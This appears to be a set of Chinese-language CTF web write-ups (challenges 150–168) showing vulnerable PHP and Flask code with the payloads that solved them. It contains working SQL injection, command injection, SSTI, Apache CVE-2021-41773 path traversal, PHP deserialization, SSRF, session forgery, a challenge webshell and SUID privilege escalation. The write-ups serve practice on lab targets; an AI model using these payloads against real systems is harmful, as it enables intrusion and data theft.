执行exp后会生成一个exp.phar,上传之后会得到txt的路径,拿去read,使用phar协议读取,传入payload

file=phar://upload/xxxxx.txt&method=write&var=content&cmd=ls /

150.[HDCTF 2023]LoginMaster

robots.txt

就是75题的quine注入,payload要修改一下,在前面加个1,后面相应的位置都要加1

1
2
3
4
5
6
7
8
9
10
11

function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
1
1'/**/union/**/select/**/REPLACE(REPLACE('1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#

151.[FSCTF 2023]EZ_eval

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}

payload:?word=<script%0alanguage='php'>system('ca\t${IFS}/f*');</script>

152.[HZNUCTF 2023 preliminary]guessguessguess

会把payload倒序,需要倒序输入,输入hint可以得到三个方向,sql、xss、rce,前两项都无法getflag。

构造一句话会被注释,以为要绕过,用script language发现没有回显 phpinfo也没有,其实直接执行phpinfo就可以了,其他命令执行没有回显。

153.[FSCTF 2023]Hello,you

F12发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$input = isset($_GET['input']) ? $_GET['input'] : '';

// 执行命令并返回结果
function executeCommand($command) {
$output = '';
exec($command, $output);
return $output;
}

// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command);
return $result;
}

// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username);
}

说两句逻辑,点注册按钮就会执行registerUser函数,把username拼接到command,然后传入到executeCommand里面执行命令,再返回,所以拼接一个|就可以执行多条命令,试了一下flag在env里。

payload:|env

154.[LitCTF 2023]彩蛋

彩蛋分布于 我Flag呢 Follow me and hack me 作业管理系统 狠狠的注入 四个题目 中

也就是这四道题,第一道F12里执行giveMeEgg()

image-20240103141802276

LitCTF{First_t0_The_k3y!

第二道题,扫目录发现www.zip,第二部分

1
2
3
4
<?php
// 第三个彩蛋!(看过头号玩家么?)
// _R3ady_Pl4yer_000ne_ (3/?)
?>

_R3ady_Pl4yer_000ne_

第三道题 在备选的地址里

image-20240103143221771

1
2
wow 你找到了第二个彩蛋哦~
_S0_ne3t? (2/?)

nss上没找到狠狠的注入这题,只能看wp了

1
2
这个好像是最后一个个彩蛋
F1rst_to_Th3_eggggggggg!}

用下划线拼接

155.[GFCTF 2021]Baby_Web

CVE-2021-41773

/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt

读取到源码

1
2
3
4
5
6
7
8
9
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

读取Class.php看下

/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){

$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){

extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];

$param = $where = [];

$_params = trim($_params);

$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {

case 'function':

if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}

$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {

$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}

是块代码审计硬骨头。index.php实例化了Temp对象,向构造方法传入POST的变量,调用display方法传get参数filename

Class.php用的array_merge()存在变量覆盖特性

1
2
3
4
1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名
2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖
3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

/**
Array
(
[color] => green
[0] => 2
[1] => 4
[2] => a
[3] => b
[shape] => trapezoid
[4] => 4
)
**/

display()实现如下:

1
2
3
4
5
6
 public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}

跟进getTempName()

1
2
3
4
5
6
7
8
9
10
11
12
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}

前期准备扫目录时发现了/template/admin路径,调用的listdata方法,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public function listdata($_params){
$system = ['db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '',];
$param = $where = [];
//去除字符串首尾处的空白字符
$_params = trim($_params);
//使用一个字符串分割另一个字符串,代码中以空格为分割,将$_params属性分割成一个数组$params[],比如说原来$_params="zhi shi xue bao",经过explode函数处理后变为$params=["zhi","shi","xue","bao"]
$params = explode(' ', $_params);
//检查数组中是否存在某个值
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
//遍历给定的 params 数组
foreach ($params as $t) {
//substr:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。
//strpos:查找字符串首次出现的位置
//$var为$t中等号前的所有。
//$val为$t中等号后的所有。
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
//即$t不是“xxx=xxx”形式,而是“xxx”形式
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}

// action
switch ($system['action']) {
case 'function'://111
//$param['name']存在
if (!isset($param['name'])) {
return 'hacker!!';
//function_exists():如果给定的函数已经被定义就返回TRUE
//即$param['name']作为函数已经被定义
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
//intval:获取变量的整数值
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list'://222
//将$this->date进行json格式的编码,并且输出
return json_encode($this->date);
}
return null;
}

上面的东西有点太繁杂,需要整理一下,接下来这段内容需要和代码同步着看,否则一定会头昏脑涨。

首先在index里传get参数filename就会执行display,经过extract执行getTempName最后include该template

在/template/admin/路由下存在一个listdata方法,里面有call_user_func_array()call_user_func(),利用后者的话,就要调用listdata,所以在template/admin/index.html路由下,为了顺利走完getTempName从而为利用后面的漏洞函数做准备,第一步要先让$dir==='admin'为true,我们可以控制space=admin。为什么呢?因为构造方法__construct接收的就是我们POST进去的参数,在这里传入,然后通过里面的array_merge完成我们的赋值,这样dir就会等于admin,就可以继续往下走了。至于为什么dir可以是space,这很简单,在display函数实现的地方形参的名字是space,在getTempName函数实现的地方,第二个形参是dir:

1
2
public function display($template,$space='')
public function getTempName($template,$dir)

我们可以稍加留意下listdata里面的system数组中的一大堆键名。

接着讲怎么走到漏洞函数,除了dir==admin,另一个条件是template=index.html,是html文件,因为我们进入了第一个if之后紧接着就来到了

if(!is_file($this->template))

那么我们的template是文件,就可以不进入里面的die了,也就是顺利执行了getTempName。怎么控制template=index.html呢?别忘了在index.php里面有这样一句

$temp->display($_GET['filename']);

那我们就可以get传filename=index.html了。至此,初步的赋值完成,来细细的啃listdata:

最终要走进这里实现rce

1
2
3
4
5
6
7
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;

如果带$p玩,那么就相当于要执行system('ls')这样的,如果不带,就执行无参的函数phpinfo(),理解了第一种,第二种就相当于把跟$p相关的处理无视掉就可以了。

我们要的是,$param['name']=system,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个

if(!isset($param['name']))

这和我们的目的殊途同归,所以无视之,走进

elseif(!function_exists($param['name']))那么phpinfo是内置的函数,肯定是定义了的,也可以顺利通过。接下来,到了

1
2
3
4
$force=$param['force'];
if(!force){
...
}

那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个if(strpos($var,'param')===0)此处保证的是$var='param0xxxxx',通过下面的intval(substr($var,5)),也就是intval('0xxxxx')导致$n=0,下一句就是$p[$n]=$t;,所以$p[0]=$t;

其中的$t,就是我们可以控制的$var=cmd

那么param的前身是个空数组,通过的是foreach($params as $t)进入一个if循环里赋值得来的。所以再去找$params,那么listdata传入的形参叫做$_params,通过trim()进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的$_params想要分割就用空格,接着走到一个if语句

1
2
3
if(in_array($params[0],['list','function'])){
$params[0]='action='.$params[0];
}

我们从先前的action就可以知道,$params[0]其实要么是list要么是function,所以这里$params[0]最终一定会在前面加上一个action=

目前来看,我们要的是$_params=function name=system force=false param0xxxx=ls

继续走,我们到template/admin/index.html里,发现页面是这样回显的:

listdata("action=list module = $mod");?>

这就有意思了,服务器这该死的设计让我们的第一个action强行等于list!,只留下一个module = $mod是我们可控的,那我们最终的payload会变成这样:

$mod=xxxx action=function name=system force=false param0xxxx=cmd

这其实没有关系,要的是一个变量覆盖,该调用调用,所以最终payload就是

1
2
3
4
?filename=index.html

POST:
space=admin&mod=xxx action=function name=phpinfo

或者

1
2
3
4
?filename=index.html

POST:
space=admin&mod=xxx action=function name=system param=cat${IFS}/f*>/var/www/html/a

156.[NCTF 2018]Flask PLUS

python3 -m fenjing crack-path -u 'url'

就会反弹shell了

payload:

{%set xv='so'[::-1]%}{{lipsum.__globals__['__b''uiltins__']['__i''mport__'](xv)['po''pen']("\x63\x61\x74\x20\x2f\x54\x68\x31\x73\x5f\x69\x73\x5f\x5f\x46\x31\x31\x31\x34\x67").read()}}

157.[FSCTF 2023]ez_php1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>

数组绕过,变量覆盖

payload1:

1
2
3
4
5
?a[]=1&b[]=2

POST:
FL_AG=$ja=1
#L0vey0U.php

进入第二层

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>

exp:

1
2
3
4
<?php
$str = "YES I love";
echo serialize($str);
#s:10:"YES I love";

payload2:

1
2
?str=s:10:"YES I love";
#P0int.php

进入第三层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);

?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a = new Clazz();
$a->b=&$a->a;
echo serialize($a);
#O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

payload:

1
2
POST:
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

image-20240104110704550

158.[HUBUCTF 2022 新生赛]Calculate

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
url = 'http://node5.anna.nssctf.cn:28525/'
sess = requests.session()
for i in range(0,20):
res=sess.get(url).text.split('\n')[7].split('</div')
# print(res.text.split('\n'))
time.sleep(1)
exp=''
for i in res:
if i[-1]=='=':
break
exp+=i[-1]
ans = eval(exp)
data={'ans':'%s' %ans}
req = sess.post(url,data)
print(req.text)

159.[NSSCTF 2022 Spring Recruit]babysql

fuzz的时候发现了waf

hacker!!black_list is /if|and|\s|#|--/i

空格被ban了,用的是/**/

试一下联合注入

1
2
3
4
5
6
7
8
9
10
11
12
payload1:
'union/**/select/**/(select/**/database())'
#string(4) "test"
payload2:
'union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'
#string(10) "flag,users"
payload3:
'union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'
#string(4) "flag"
payload4:
'union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'
#string(63) "前有巨大宝箱,NSSCTF{ac8126df-401a-49e0-a8b1-c167f1f8bbd6}"

160.[NSSRound#13 Basic]flask?jwt?

随便注册个账号,登陆点拿flag,不是admin,在修改密码处F12看到secretkey,flasksession伪造即可

1
2
3
4
5
6
7
python3 flask_session_cookie_manager3.py decode -c '.eJwljjkOAzEIAP_iOgVgwGY_s_IBSlpvtory91hKO8XMfNIZy69nOt7r9kc6XzMdqVYDChjmGBNdtEuOQkqZMASpTkTqOrRBKaFOYTqqQBWZTWxwJXOeLNWscQEcwjHZtwF7dMikqK3lPhA3Ei67FhwjHIpmTHvkvnz9bzR9fzvmLb8.ZZZS8g.QkgPNvEbeSRvbLg6rbwUl8NGvd0'

#userid改为1

python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}"

.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.ZZZVRQ.H3mGCzqQ0I4GrNLRwYh9kIobHmQ

161.[湖湘杯 2021 final]Penetratable

unicode欺骗用过不好使,因为登陆时会被解析为已有的admin,需要用

admin"#注册,登陆后显示的就是admin,修改admin的密码然后登陆,抓包修改root的密码

1
2
3
4
?c=admin&m=updatePassword

//这里的name和saying是b64,两个pass是md5,把root做b64编码然后放包就能改root的密码,然后以root登陆
name=YWRtaW4%3D&newPass=c4ca4238a0b923820dcc509a6f75849b&oldPass=c4ca4238a0b923820dcc509a6f75849b&saying=MQ%3D%3D

可以看到日志模块,下载的时候抓包存在目录穿越

1
?c=root&m=downloadRequestLog&filename=../../../../../var/www/html/phpinfo.php
1
2
3
4
<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

木马连接密码解md5为1q2w3e,传木马并执行命令,flag在根目录无法直接读取,需要suid提权

find / -user root -perm -4000 -print 2>/dev/null

回显了sed等,使用sed提权

pass_31d5df001717=1q2w3e&cc=system("sed -n '1p' /flag");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
常见的sed命令选项包含以下几种:
-e或-expression=:表示用指定命令或者脚本来处理输入的文本文件
-f或-file-:表示用指定的脚本文件来处理输入的文件文件
-h或–help:显示帮助
-n、-quite或silent:表示仅表示处理后的结果
-i:直接编辑文本文件

a:增加,在当前行下面增加一行指定内容。
c:替换,讲选定行替换为指定内容。
d:删除,删除选定的行。
i:插入,在选定行上面插入一行指定内容。
p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。
s:替换,替换指定字符
y:字符转换

162.[MoeCTF 2022]Sqlmap_boy

登陆界面F12发现sql语句

1
<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->

admin" or "1--+

然后id就是注入点

1
2
3
4
5
6
7
8
9
payload1
0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+


payload2
0'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'--+

payload3
0'union/**/select/**/1,3,group_concat(flAg)/**/from/**/moectf.flag--+

163.[FSCTF 2023]巴巴托斯!

改http头,本地访问改的不是xff是referer

然后伪协议读flag.php

164.[GWCTF 2019]枯燥的抽奖

BUU做过,F12发现check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='hkDZsGIKav' #题目生成的
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

php_mt_seed爆破种子

image-20240104162852005

把种子的值赋值给$_SESSION['seed']输出原始的字符串提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=631128164;
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

165.[HNCTF 2022 WEEK2]easy_unser

很直接的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php 
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>

分析下链子,最终是要在highlight_file($this->want)下readflag,那么就要控制$this->want不能为f14g.php,也不能是个文件,然后,绕过__wakeup(),再往上走,就是需要给$this->want赋值,构造方法里传入的就是$want,在我们实例化对象时传,那么在最后一步的if判断里会触发__toString,就让$this->want为unserializeorder的对象,触发它的__toString,里面会return $this->CORE,这个也是可控的,可以考虑控制它为读取flag的语句,尝试下写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class body{

private $want,$todonothing = "";

public function __construct($want){
$About_me = "";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){

}
function __destruct(){
$About_me = "";
echo "1\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "php://filter/read=convert.base64-encode/resource=f14g.php";
function __sleep(){
$About_me = "";
echo "";
}
function __toString(){
$About_me = "";
return $this->CORE;
}
}
$a = new body(new unserializeorder());
echo urlencode(serialize($a));

结果发现本地全部都能过但是靶机上就是不回显文件内容,后面再看并不需要用到unserializeorder类,直接控制want就可以了,我的理解是高亮显示文件的参数是$this->want,如果控制它为一个对象,就没用了,所以才不回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class body{

private $want = "";
private $todonothing = "";

public function __construct($want){
$About_me = "";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){

}
function __destruct(){
$About_me = "";
echo "1\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}


$a = new body("php://filter/read=convert.base64-encode/resource=f14g.php");
echo urlencode(serialize($a));

记得改body的成员数绕过wakeup

166.[SWPUCTF 2023 秋季新生赛]If_else

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容

<?php
$a=false;
$b=false;
if(你提交的部分将会被写至这里)
{$a=true;}
else
{$b=true;}
if($a===true&&$b===true)
eval(system(cat /flag));
?>

直接传check=system('cat /flag')就行了,不用管ifelse

167.[网鼎杯 2018]Fakebook

robots.txt存在网页备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

注册个账号,点账号名进view.php,参数no存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload1:
-1 order by 5
判断有4个字段
payload2:
-1 union/**/select 1,2,3,4
2存在回显
payload3:
-1 union/**/select 1,database(),3,4
fakebook
payload4:
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
users
payload5:
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
no,username,passwd,data
payload6:
-1 union/**/select 1,group_concat(data),3,4 from fakebook.users
序列化的字符串,意味着用户数据是以序列化形式存储的

那么可以传入一个序列化对象去做些事情,审计一下备份的网页,这个类下的get存在ssrf,控制blog为file:///var/www/html/flag.php即可,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct()
{
$this->blog = "file:///var/www/html/flag.php";
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
$a = new UserInfo();
echo serialize($a);

最终payload:

1
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

168.[羊城杯 2020]Blackcat

BUU做过,mp3尾巴有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
